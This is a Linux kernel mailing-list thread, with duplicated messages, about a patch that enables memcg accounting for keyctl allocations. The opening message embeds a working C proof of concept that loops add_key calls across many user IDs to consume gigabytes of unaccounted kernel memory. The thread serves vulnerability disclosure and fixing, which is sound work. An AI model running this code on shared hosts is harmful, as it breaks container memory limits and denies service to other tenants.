All of lore.kernel.org
 help / color / mirror / Atom feed
* [PATCH] memcg: enable accounting in keyctl subsys
@ 2021-07-19  8:17 ` Yutian Yang
  0 siblings, 0 replies; 12+ messages in thread
From: Yutian Yang @ 2021-07-19  8:17 UTC (permalink / raw)
  To: shakeelb, dhowells, jarkko, mhocko
  Cc: hannes, vdavydov.dev, cgroups, linux-mm, shenwenbo, Yutian Yang

This patch enables accounting for key objects and auth record objects.
Allocation of the objects are triggerable by syscalls from userspace.

We have written a PoC to show that the missing-charging objects lead to
breaking memcg limits. The PoC program takes around 2.2GB unaccounted
memory, while it is charged for only 24MB memory usage. We evaluate the
PoC on QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster. All
the limitations including ulimits and sysctl variables are set as default.
Specifically, we set kernel.keys.maxbytes = 20000 and 
kernel.keys.maxkeys = 200.

/*------------------------- POC code ----------------------------*/

#include <asm/unistd.h>
#include <linux/keyctl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>

char desc[4000];
void alloc_key_user(int id) {
  int i = 0, times = -1;
  __s32 serial = 0;
  int err = seteuid(id);
  if (err == 0)
    printf("uid allocation success on id %d!\n", id);
  else {
    printf("err reason is %s.\n", strerror(errno));
    return;
  }
  srand(time(0));
  while (serial != -1) {
    ++times;
    for (i = 0; i < 3900; ++i)
      desc[i] = rand()%255 + 1;
    desc[i] = '\0';
    serial = syscall(__NR_add_key, "user", desc, "payload",
      strlen("payload"), KEY_SPEC_SESSION_KEYRING);
  }
  printf("allocation happened %d times.\n", times);
  seteuid(0);
}

int main() {
  int loop_times = 100000;
  int start_uid = 33001;
  for (int i = 0; i < loop_times; ++i) {
    alloc_key_user(i+start_uid);
  }
  while(1);
  return 0;
}

/*-------------------------- end --------------------------------*/

Signed-off-by: Yutian Yang <nglaive@gmail.com>
---
 security/keys/key.c              | 4 ++--
 security/keys/request_key_auth.c | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/security/keys/key.c b/security/keys/key.c
index e282c6179..925d85c2e 100644
--- a/security/keys/key.c
+++ b/security/keys/key.c
@@ -279,7 +279,7 @@ struct key *key_alloc(struct key_type *type, const char *desc,
 		goto no_memory_2;
 
 	key->index_key.desc_len = desclen;
-	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL);
+	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL_ACCOUNT);
 	if (!key->index_key.description)
 		goto no_memory_3;
 	key->index_key.type = type;
@@ -1198,7 +1198,7 @@ void __init key_init(void)
 {
 	/* allocate a slab in which we can store keys */
 	key_jar = kmem_cache_create("key_jar", sizeof(struct key),
-			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
+			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
 
 	/* add the special key types */
 	list_add_tail(&key_type_keyring.link, &key_types_list);
diff --git a/security/keys/request_key_auth.c b/security/keys/request_key_auth.c
index 41e973500..ed50a100a 100644
--- a/security/keys/request_key_auth.c
+++ b/security/keys/request_key_auth.c
@@ -171,10 +171,10 @@ struct key *request_key_auth_new(struct key *target, const char *op,
 	kenter("%d,", target->serial);
 
 	/* allocate a auth record */
-	rka = kzalloc(sizeof(*rka), GFP_KERNEL);
+	rka = kzalloc(sizeof(*rka), GFP_KERNEL_ACCOUNT);
 	if (!rka)
 		goto error;
-	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL);
+	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL_ACCOUNT);
 	if (!rka->callout_info)
 		goto error_free_rka;
 	rka->callout_len = callout_len;
-- 
2.25.1



^ permalink raw reply related	[flat|nested] 12+ messages in thread

* [PATCH] memcg: enable accounting in keyctl subsys
@ 2021-07-19  8:17 ` Yutian Yang
  0 siblings, 0 replies; 12+ messages in thread
From: Yutian Yang @ 2021-07-19  8:17 UTC (permalink / raw)
  To: shakeelb-hpIqsD4AKlfQT0dZR+AlfA, dhowells-H+wXaHxf7aLQT0dZR+AlfA,
	jarkko-DgEjT+Ai2ygdnm+yROfE0A, mhocko-DgEjT+Ai2ygdnm+yROfE0A
  Cc: hannes-druUgvl0LCNAfugRpC6u6w,
	vdavydov.dev-Re5JQEeQqe8AvxtiuMwx3w,
	cgroups-u79uwXL29TY76Z2rM5mHXA, linux-mm-Bw31MaZKKs3YtjvyW6yDsg,
	shenwenbo-Y5EWUtBUdg4nDS1+zs4M5A, Yutian Yang

This patch enables accounting for key objects and auth record objects.
Allocation of the objects are triggerable by syscalls from userspace.

We have written a PoC to show that the missing-charging objects lead to
breaking memcg limits. The PoC program takes around 2.2GB unaccounted
memory, while it is charged for only 24MB memory usage. We evaluate the
PoC on QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster. All
the limitations including ulimits and sysctl variables are set as default.
Specifically, we set kernel.keys.maxbytes = 20000 and 
kernel.keys.maxkeys = 200.

/*------------------------- POC code ----------------------------*/

#include <asm/unistd.h>
#include <linux/keyctl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>

char desc[4000];
void alloc_key_user(int id) {
  int i = 0, times = -1;
  __s32 serial = 0;
  int err = seteuid(id);
  if (err == 0)
    printf("uid allocation success on id %d!\n", id);
  else {
    printf("err reason is %s.\n", strerror(errno));
    return;
  }
  srand(time(0));
  while (serial != -1) {
    ++times;
    for (i = 0; i < 3900; ++i)
      desc[i] = rand()%255 + 1;
    desc[i] = '\0';
    serial = syscall(__NR_add_key, "user", desc, "payload",
      strlen("payload"), KEY_SPEC_SESSION_KEYRING);
  }
  printf("allocation happened %d times.\n", times);
  seteuid(0);
}

int main() {
  int loop_times = 100000;
  int start_uid = 33001;
  for (int i = 0; i < loop_times; ++i) {
    alloc_key_user(i+start_uid);
  }
  while(1);
  return 0;
}

/*-------------------------- end --------------------------------*/

Signed-off-by: Yutian Yang <nglaive-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
---
 security/keys/key.c              | 4 ++--
 security/keys/request_key_auth.c | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/security/keys/key.c b/security/keys/key.c
index e282c6179..925d85c2e 100644
--- a/security/keys/key.c
+++ b/security/keys/key.c
@@ -279,7 +279,7 @@ struct key *key_alloc(struct key_type *type, const char *desc,
 		goto no_memory_2;
 
 	key->index_key.desc_len = desclen;
-	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL);
+	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL_ACCOUNT);
 	if (!key->index_key.description)
 		goto no_memory_3;
 	key->index_key.type = type;
@@ -1198,7 +1198,7 @@ void __init key_init(void)
 {
 	/* allocate a slab in which we can store keys */
 	key_jar = kmem_cache_create("key_jar", sizeof(struct key),
-			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
+			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
 
 	/* add the special key types */
 	list_add_tail(&key_type_keyring.link, &key_types_list);
diff --git a/security/keys/request_key_auth.c b/security/keys/request_key_auth.c
index 41e973500..ed50a100a 100644
--- a/security/keys/request_key_auth.c
+++ b/security/keys/request_key_auth.c
@@ -171,10 +171,10 @@ struct key *request_key_auth_new(struct key *target, const char *op,
 	kenter("%d,", target->serial);
 
 	/* allocate a auth record */
-	rka = kzalloc(sizeof(*rka), GFP_KERNEL);
+	rka = kzalloc(sizeof(*rka), GFP_KERNEL_ACCOUNT);
 	if (!rka)
 		goto error;
-	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL);
+	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL_ACCOUNT);
 	if (!rka->callout_info)
 		goto error_free_rka;
 	rka->callout_len = callout_len;
-- 
2.25.1


^ permalink raw reply related	[flat|nested] 12+ messages in thread

* Re: [PATCH] memcg: enable accounting in keyctl subsys
@ 2022-05-23  9:45   ` Vasily Averin
  0 siblings, 0 replies; 12+ messages in thread
From: Vasily Averin @ 2022-05-23  9:45 UTC (permalink / raw)
  To: Yutian Yang, jarkko, Shakeel Butt, Michal Hocko, David Howells,
	Roman Gushchin
  Cc: cgroups, linux-mm, shenwenbo, Johannes Weiner, kernel

On 7/19/21 11:17, Yutian Yang wrote:
> This patch enables accounting for key objects and auth record objects.
> Allocation of the objects are triggerable by syscalls from userspace.
> 
> We have written a PoC to show that the missing-charging objects lead to
> breaking memcg limits. The PoC program takes around 2.2GB unaccounted
> memory, while it is charged for only 24MB memory usage. We evaluate the
> PoC on QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster. All
> the limitations including ulimits and sysctl variables are set as default.
> Specifically, we set kernel.keys.maxbytes = 20000 and 
> kernel.keys.maxkeys = 200.
> 
> /*------------------------- POC code ----------------------------*/
[skipped]
> /*-------------------------- end --------------------------------*/

I experimented with "keyctl request2 user debug: X:Y Z" inside the container
and found that the problem is still relevant and the proposed patch solves it
correctly.

I didn't find any complaints about this patch, could someone explain why
it wasn't applied? If no one objects, I'd like to push it.

> Signed-off-by: Yutian Yang <nglaive@gmail.com>
Reviewed-by: Vasily Averin <vvs@openvz.org>

Thank you,
	Vasily Averin

PS. Should I perhaps resend it?

> ---
>  security/keys/key.c              | 4 ++--
>  security/keys/request_key_auth.c | 4 ++--
>  2 files changed, 4 insertions(+), 4 deletions(-)
> 
> diff --git a/security/keys/key.c b/security/keys/key.c
> index e282c6179..925d85c2e 100644
> --- a/security/keys/key.c
> +++ b/security/keys/key.c
> @@ -279,7 +279,7 @@ struct key *key_alloc(struct key_type *type, const char *desc,
>  		goto no_memory_2;
>  
>  	key->index_key.desc_len = desclen;
> -	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL);
> +	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL_ACCOUNT);
>  	if (!key->index_key.description)
>  		goto no_memory_3;
>  	key->index_key.type = type;
> @@ -1198,7 +1198,7 @@ void __init key_init(void)
>  {
>  	/* allocate a slab in which we can store keys */
>  	key_jar = kmem_cache_create("key_jar", sizeof(struct key),
> -			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
> +			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
>  
>  	/* add the special key types */
>  	list_add_tail(&key_type_keyring.link, &key_types_list);
> diff --git a/security/keys/request_key_auth.c b/security/keys/request_key_auth.c
> index 41e973500..ed50a100a 100644
> --- a/security/keys/request_key_auth.c
> +++ b/security/keys/request_key_auth.c
> @@ -171,10 +171,10 @@ struct key *request_key_auth_new(struct key *target, const char *op,
>  	kenter("%d,", target->serial);
>  
>  	/* allocate a auth record */
> -	rka = kzalloc(sizeof(*rka), GFP_KERNEL);
> +	rka = kzalloc(sizeof(*rka), GFP_KERNEL_ACCOUNT);
>  	if (!rka)
>  		goto error;
> -	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL);
> +	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL_ACCOUNT);
>  	if (!rka->callout_info)
>  		goto error_free_rka;
>  	rka->callout_len = callout_len;



^ permalink raw reply	[flat|nested] 12+ messages in thread

* Re: [PATCH] memcg: enable accounting in keyctl subsys
@ 2022-05-23  9:45   ` Vasily Averin
  0 siblings, 0 replies; 12+ messages in thread
From: Vasily Averin @ 2022-05-23  9:45 UTC (permalink / raw)
  To: Yutian Yang, jarkko-DgEjT+Ai2ygdnm+yROfE0A, Shakeel Butt,
	Michal Hocko, David Howells, Roman Gushchin
  Cc: cgroups-u79uwXL29TY76Z2rM5mHXA, linux-mm-Bw31MaZKKs3YtjvyW6yDsg,
	shenwenbo-Y5EWUtBUdg4nDS1+zs4M5A, Johannes Weiner,
	kernel-GEFAQzZX7r8dnm+yROfE0A

On 7/19/21 11:17, Yutian Yang wrote:
> This patch enables accounting for key objects and auth record objects.
> Allocation of the objects are triggerable by syscalls from userspace.
> 
> We have written a PoC to show that the missing-charging objects lead to
> breaking memcg limits. The PoC program takes around 2.2GB unaccounted
> memory, while it is charged for only 24MB memory usage. We evaluate the
> PoC on QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster. All
> the limitations including ulimits and sysctl variables are set as default.
> Specifically, we set kernel.keys.maxbytes = 20000 and 
> kernel.keys.maxkeys = 200.
> 
> /*------------------------- POC code ----------------------------*/
[skipped]
> /*-------------------------- end --------------------------------*/

I experimented with "keyctl request2 user debug: X:Y Z" inside the container
and found that the problem is still relevant and the proposed patch solves it
correctly.

I didn't find any complaints about this patch, could someone explain why
it wasn't applied? If no one objects, I'd like to push it.

> Signed-off-by: Yutian Yang <nglaive-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Reviewed-by: Vasily Averin <vvs-GEFAQzZX7r8dnm+yROfE0A@public.gmane.org>

Thank you,
	Vasily Averin

PS. Should I perhaps resend it?

> ---
>  security/keys/key.c              | 4 ++--
>  security/keys/request_key_auth.c | 4 ++--
>  2 files changed, 4 insertions(+), 4 deletions(-)
> 
> diff --git a/security/keys/key.c b/security/keys/key.c
> index e282c6179..925d85c2e 100644
> --- a/security/keys/key.c
> +++ b/security/keys/key.c
> @@ -279,7 +279,7 @@ struct key *key_alloc(struct key_type *type, const char *desc,
>  		goto no_memory_2;
>  
>  	key->index_key.desc_len = desclen;
> -	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL);
> +	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL_ACCOUNT);
>  	if (!key->index_key.description)
>  		goto no_memory_3;
>  	key->index_key.type = type;
> @@ -1198,7 +1198,7 @@ void __init key_init(void)
>  {
>  	/* allocate a slab in which we can store keys */
>  	key_jar = kmem_cache_create("key_jar", sizeof(struct key),
> -			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
> +			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
>  
>  	/* add the special key types */
>  	list_add_tail(&key_type_keyring.link, &key_types_list);
> diff --git a/security/keys/request_key_auth.c b/security/keys/request_key_auth.c
> index 41e973500..ed50a100a 100644
> --- a/security/keys/request_key_auth.c
> +++ b/security/keys/request_key_auth.c
> @@ -171,10 +171,10 @@ struct key *request_key_auth_new(struct key *target, const char *op,
>  	kenter("%d,", target->serial);
>  
>  	/* allocate a auth record */
> -	rka = kzalloc(sizeof(*rka), GFP_KERNEL);
> +	rka = kzalloc(sizeof(*rka), GFP_KERNEL_ACCOUNT);
>  	if (!rka)
>  		goto error;
> -	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL);
> +	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL_ACCOUNT);
>  	if (!rka->callout_info)
>  		goto error_free_rka;
>  	rka->callout_len = callout_len;


^ permalink raw reply	[flat|nested] 12+ messages in thread

* Re: [PATCH] memcg: enable accounting in keyctl subsys
@ 2022-05-23 20:00     ` Jarkko Sakkinen
  0 siblings, 0 replies; 12+ messages in thread
From: Jarkko Sakkinen @ 2022-05-23 20:00 UTC (permalink / raw)
  To: Vasily Averin
  Cc: Yutian Yang, Shakeel Butt, Michal Hocko, David Howells,
	Roman Gushchin, cgroups, linux-mm, shenwenbo, Johannes Weiner,
	kernel

On Mon, May 23, 2022 at 12:45:09PM +0300, Vasily Averin wrote:
> On 7/19/21 11:17, Yutian Yang wrote:
> > This patch enables accounting for key objects and auth record objects.
> > Allocation of the objects are triggerable by syscalls from userspace.
> > 
> > We have written a PoC to show that the missing-charging objects lead to
> > breaking memcg limits. The PoC program takes around 2.2GB unaccounted
> > memory, while it is charged for only 24MB memory usage. We evaluate the
> > PoC on QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster. All
> > the limitations including ulimits and sysctl variables are set as default.
> > Specifically, we set kernel.keys.maxbytes = 20000 and 
> > kernel.keys.maxkeys = 200.
> > 
> > /*------------------------- POC code ----------------------------*/
> [skipped]
> > /*-------------------------- end --------------------------------*/
> 
> I experimented with "keyctl request2 user debug: X:Y Z" inside the container
> and found that the problem is still relevant and the proposed patch solves it
> correctly.
> 
> I didn't find any complaints about this patch, could someone explain why
> it wasn't applied? If no one objects, I'd like to push it.
> 
> > Signed-off-by: Yutian Yang <nglaive@gmail.com>
> Reviewed-by: Vasily Averin <vvs@openvz.org>
> 
> Thank you,
> 	Vasily Averin
> 
> PS. Should I perhaps resend it?
> 
> > ---
> >  security/keys/key.c              | 4 ++--
> >  security/keys/request_key_auth.c | 4 ++--
> >  2 files changed, 4 insertions(+), 4 deletions(-)
> > 
> > diff --git a/security/keys/key.c b/security/keys/key.c
> > index e282c6179..925d85c2e 100644
> > --- a/security/keys/key.c
> > +++ b/security/keys/key.c
> > @@ -279,7 +279,7 @@ struct key *key_alloc(struct key_type *type, const char *desc,
> >  		goto no_memory_2;
> >  
> >  	key->index_key.desc_len = desclen;
> > -	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL);
> > +	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL_ACCOUNT);
> >  	if (!key->index_key.description)
> >  		goto no_memory_3;
> >  	key->index_key.type = type;
> > @@ -1198,7 +1198,7 @@ void __init key_init(void)
> >  {
> >  	/* allocate a slab in which we can store keys */
> >  	key_jar = kmem_cache_create("key_jar", sizeof(struct key),
> > -			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
> > +			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
> >  
> >  	/* add the special key types */
> >  	list_add_tail(&key_type_keyring.link, &key_types_list);
> > diff --git a/security/keys/request_key_auth.c b/security/keys/request_key_auth.c
> > index 41e973500..ed50a100a 100644
> > --- a/security/keys/request_key_auth.c
> > +++ b/security/keys/request_key_auth.c
> > @@ -171,10 +171,10 @@ struct key *request_key_auth_new(struct key *target, const char *op,
> >  	kenter("%d,", target->serial);
> >  
> >  	/* allocate a auth record */
> > -	rka = kzalloc(sizeof(*rka), GFP_KERNEL);
> > +	rka = kzalloc(sizeof(*rka), GFP_KERNEL_ACCOUNT);
> >  	if (!rka)
> >  		goto error;
> > -	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL);
> > +	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL_ACCOUNT);
> >  	if (!rka->callout_info)
> >  		goto error_free_rka;
> >  	rka->callout_len = callout_len;
> 


Acked-by: Jarkko Sakkinen <jarkko@kernel.org>

BR, Jarkko


^ permalink raw reply	[flat|nested] 12+ messages in thread

* Re: [PATCH] memcg: enable accounting in keyctl subsys
@ 2022-05-23 20:00     ` Jarkko Sakkinen
  0 siblings, 0 replies; 12+ messages in thread
From: Jarkko Sakkinen @ 2022-05-23 20:00 UTC (permalink / raw)
  To: Vasily Averin
  Cc: Yutian Yang, Shakeel Butt, Michal Hocko, David Howells,
	Roman Gushchin, cgroups-u79uwXL29TY76Z2rM5mHXA,
	linux-mm-Bw31MaZKKs3YtjvyW6yDsg,
	shenwenbo-Y5EWUtBUdg4nDS1+zs4M5A, Johannes Weiner,
	kernel-GEFAQzZX7r8dnm+yROfE0A

On Mon, May 23, 2022 at 12:45:09PM +0300, Vasily Averin wrote:
> On 7/19/21 11:17, Yutian Yang wrote:
> > This patch enables accounting for key objects and auth record objects.
> > Allocation of the objects are triggerable by syscalls from userspace.
> > 
> > We have written a PoC to show that the missing-charging objects lead to
> > breaking memcg limits. The PoC program takes around 2.2GB unaccounted
> > memory, while it is charged for only 24MB memory usage. We evaluate the
> > PoC on QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster. All
> > the limitations including ulimits and sysctl variables are set as default.
> > Specifically, we set kernel.keys.maxbytes = 20000 and 
> > kernel.keys.maxkeys = 200.
> > 
> > /*------------------------- POC code ----------------------------*/
> [skipped]
> > /*-------------------------- end --------------------------------*/
> 
> I experimented with "keyctl request2 user debug: X:Y Z" inside the container
> and found that the problem is still relevant and the proposed patch solves it
> correctly.
> 
> I didn't find any complaints about this patch, could someone explain why
> it wasn't applied? If no one objects, I'd like to push it.
> 
> > Signed-off-by: Yutian Yang <nglaive-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
> Reviewed-by: Vasily Averin <vvs-GEFAQzZX7r8dnm+yROfE0A@public.gmane.org>
> 
> Thank you,
> 	Vasily Averin
> 
> PS. Should I perhaps resend it?
> 
> > ---
> >  security/keys/key.c              | 4 ++--
> >  security/keys/request_key_auth.c | 4 ++--
> >  2 files changed, 4 insertions(+), 4 deletions(-)
> > 
> > diff --git a/security/keys/key.c b/security/keys/key.c
> > index e282c6179..925d85c2e 100644
> > --- a/security/keys/key.c
> > +++ b/security/keys/key.c
> > @@ -279,7 +279,7 @@ struct key *key_alloc(struct key_type *type, const char *desc,
> >  		goto no_memory_2;
> >  
> >  	key->index_key.desc_len = desclen;
> > -	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL);
> > +	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL_ACCOUNT);
> >  	if (!key->index_key.description)
> >  		goto no_memory_3;
> >  	key->index_key.type = type;
> > @@ -1198,7 +1198,7 @@ void __init key_init(void)
> >  {
> >  	/* allocate a slab in which we can store keys */
> >  	key_jar = kmem_cache_create("key_jar", sizeof(struct key),
> > -			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
> > +			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
> >  
> >  	/* add the special key types */
> >  	list_add_tail(&key_type_keyring.link, &key_types_list);
> > diff --git a/security/keys/request_key_auth.c b/security/keys/request_key_auth.c
> > index 41e973500..ed50a100a 100644
> > --- a/security/keys/request_key_auth.c
> > +++ b/security/keys/request_key_auth.c
> > @@ -171,10 +171,10 @@ struct key *request_key_auth_new(struct key *target, const char *op,
> >  	kenter("%d,", target->serial);
> >  
> >  	/* allocate a auth record */
> > -	rka = kzalloc(sizeof(*rka), GFP_KERNEL);
> > +	rka = kzalloc(sizeof(*rka), GFP_KERNEL_ACCOUNT);
> >  	if (!rka)
> >  		goto error;
> > -	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL);
> > +	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL_ACCOUNT);
> >  	if (!rka->callout_info)
> >  		goto error_free_rka;
> >  	rka->callout_len = callout_len;
> 


Acked-by: Jarkko Sakkinen <jarkko-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>

BR, Jarkko

^ permalink raw reply	[flat|nested] 12+ messages in thread

* Re: [PATCH] memcg: enable accounting in keyctl subsys
@ 2022-05-30  9:38       ` Vasily Averin
  0 siblings, 0 replies; 12+ messages in thread
From: Vasily Averin @ 2022-05-30  9:38 UTC (permalink / raw)
  To: Andrew Morton
  Cc: Yutian Yang, Shakeel Butt, Michal Hocko, David Howells,
	Roman Gushchin, cgroups, linux-mm, shenwenbo, Johannes Weiner,
	kernel, Jarkko Sakkinen

Dear Andrew,
could you please pick up this patch too?

Thank you,
	Vasily Averin

On 5/23/22 23:00, Jarkko Sakkinen wrote:
> On Mon, May 23, 2022 at 12:45:09PM +0300, Vasily Averin wrote:
>> On 7/19/21 11:17, Yutian Yang wrote:
>>> This patch enables accounting for key objects and auth record objects.
>>> Allocation of the objects are triggerable by syscalls from userspace.
>>>
>>> We have written a PoC to show that the missing-charging objects lead to
>>> breaking memcg limits. The PoC program takes around 2.2GB unaccounted
>>> memory, while it is charged for only 24MB memory usage. We evaluate the
>>> PoC on QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster. All
>>> the limitations including ulimits and sysctl variables are set as default.
>>> Specifically, we set kernel.keys.maxbytes = 20000 and 
>>> kernel.keys.maxkeys = 200.
>>>
>>> /*------------------------- POC code ----------------------------*/
>> [skipped]
>>> /*-------------------------- end --------------------------------*/
>>
>> I experimented with "keyctl request2 user debug: X:Y Z" inside the container
>> and found that the problem is still relevant and the proposed patch solves it
>> correctly.
>>
>> I didn't find any complaints about this patch, could someone explain why
>> it wasn't applied? If no one objects, I'd like to push it.
>>
>>> Signed-off-by: Yutian Yang <nglaive@gmail.com>
>> Reviewed-by: Vasily Averin <vvs@openvz.org>
>>
>> Thank you,
>> 	Vasily Averin
>>
>> PS. Should I perhaps resend it?
>>
>>> ---
>>>  security/keys/key.c              | 4 ++--
>>>  security/keys/request_key_auth.c | 4 ++--
>>>  2 files changed, 4 insertions(+), 4 deletions(-)
>>>
>>> diff --git a/security/keys/key.c b/security/keys/key.c
>>> index e282c6179..925d85c2e 100644
>>> --- a/security/keys/key.c
>>> +++ b/security/keys/key.c
>>> @@ -279,7 +279,7 @@ struct key *key_alloc(struct key_type *type, const char *desc,
>>>  		goto no_memory_2;
>>>  
>>>  	key->index_key.desc_len = desclen;
>>> -	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL);
>>> +	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL_ACCOUNT);
>>>  	if (!key->index_key.description)
>>>  		goto no_memory_3;
>>>  	key->index_key.type = type;
>>> @@ -1198,7 +1198,7 @@ void __init key_init(void)
>>>  {
>>>  	/* allocate a slab in which we can store keys */
>>>  	key_jar = kmem_cache_create("key_jar", sizeof(struct key),
>>> -			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
>>> +			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
>>>  
>>>  	/* add the special key types */
>>>  	list_add_tail(&key_type_keyring.link, &key_types_list);
>>> diff --git a/security/keys/request_key_auth.c b/security/keys/request_key_auth.c
>>> index 41e973500..ed50a100a 100644
>>> --- a/security/keys/request_key_auth.c
>>> +++ b/security/keys/request_key_auth.c
>>> @@ -171,10 +171,10 @@ struct key *request_key_auth_new(struct key *target, const char *op,
>>>  	kenter("%d,", target->serial);
>>>  
>>>  	/* allocate a auth record */
>>> -	rka = kzalloc(sizeof(*rka), GFP_KERNEL);
>>> +	rka = kzalloc(sizeof(*rka), GFP_KERNEL_ACCOUNT);
>>>  	if (!rka)
>>>  		goto error;
>>> -	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL);
>>> +	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL_ACCOUNT);
>>>  	if (!rka->callout_info)
>>>  		goto error_free_rka;
>>>  	rka->callout_len = callout_len;
>>
> 
> 
> Acked-by: Jarkko Sakkinen <jarkko@kernel.org>
> 
> BR, Jarkko



^ permalink raw reply	[flat|nested] 12+ messages in thread

* Re: [PATCH] memcg: enable accounting in keyctl subsys
@ 2022-05-30  9:38       ` Vasily Averin
  0 siblings, 0 replies; 12+ messages in thread
From: Vasily Averin @ 2022-05-30  9:38 UTC (permalink / raw)
  To: Andrew Morton
  Cc: Yutian Yang, Shakeel Butt, Michal Hocko, David Howells,
	Roman Gushchin, cgroups-u79uwXL29TY76Z2rM5mHXA,
	linux-mm-Bw31MaZKKs3YtjvyW6yDsg,
	shenwenbo-Y5EWUtBUdg4nDS1+zs4M5A, Johannes Weiner,
	kernel-GEFAQzZX7r8dnm+yROfE0A, Jarkko Sakkinen

Dear Andrew,
could you please pick up this patch too?

Thank you,
	Vasily Averin

On 5/23/22 23:00, Jarkko Sakkinen wrote:
> On Mon, May 23, 2022 at 12:45:09PM +0300, Vasily Averin wrote:
>> On 7/19/21 11:17, Yutian Yang wrote:
>>> This patch enables accounting for key objects and auth record objects.
>>> Allocation of the objects are triggerable by syscalls from userspace.
>>>
>>> We have written a PoC to show that the missing-charging objects lead to
>>> breaking memcg limits. The PoC program takes around 2.2GB unaccounted
>>> memory, while it is charged for only 24MB memory usage. We evaluate the
>>> PoC on QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster. All
>>> the limitations including ulimits and sysctl variables are set as default.
>>> Specifically, we set kernel.keys.maxbytes = 20000 and 
>>> kernel.keys.maxkeys = 200.
>>>
>>> /*------------------------- POC code ----------------------------*/
>> [skipped]
>>> /*-------------------------- end --------------------------------*/
>>
>> I experimented with "keyctl request2 user debug: X:Y Z" inside the container
>> and found that the problem is still relevant and the proposed patch solves it
>> correctly.
>>
>> I didn't find any complaints about this patch, could someone explain why
>> it wasn't applied? If no one objects, I'd like to push it.
>>
>>> Signed-off-by: Yutian Yang <nglaive-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
>> Reviewed-by: Vasily Averin <vvs-GEFAQzZX7r8dnm+yROfE0A@public.gmane.org>
>>
>> Thank you,
>> 	Vasily Averin
>>
>> PS. Should I perhaps resend it?
>>
>>> ---
>>>  security/keys/key.c              | 4 ++--
>>>  security/keys/request_key_auth.c | 4 ++--
>>>  2 files changed, 4 insertions(+), 4 deletions(-)
>>>
>>> diff --git a/security/keys/key.c b/security/keys/key.c
>>> index e282c6179..925d85c2e 100644
>>> --- a/security/keys/key.c
>>> +++ b/security/keys/key.c
>>> @@ -279,7 +279,7 @@ struct key *key_alloc(struct key_type *type, const char *desc,
>>>  		goto no_memory_2;
>>>  
>>>  	key->index_key.desc_len = desclen;
>>> -	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL);
>>> +	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL_ACCOUNT);
>>>  	if (!key->index_key.description)
>>>  		goto no_memory_3;
>>>  	key->index_key.type = type;
>>> @@ -1198,7 +1198,7 @@ void __init key_init(void)
>>>  {
>>>  	/* allocate a slab in which we can store keys */
>>>  	key_jar = kmem_cache_create("key_jar", sizeof(struct key),
>>> -			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
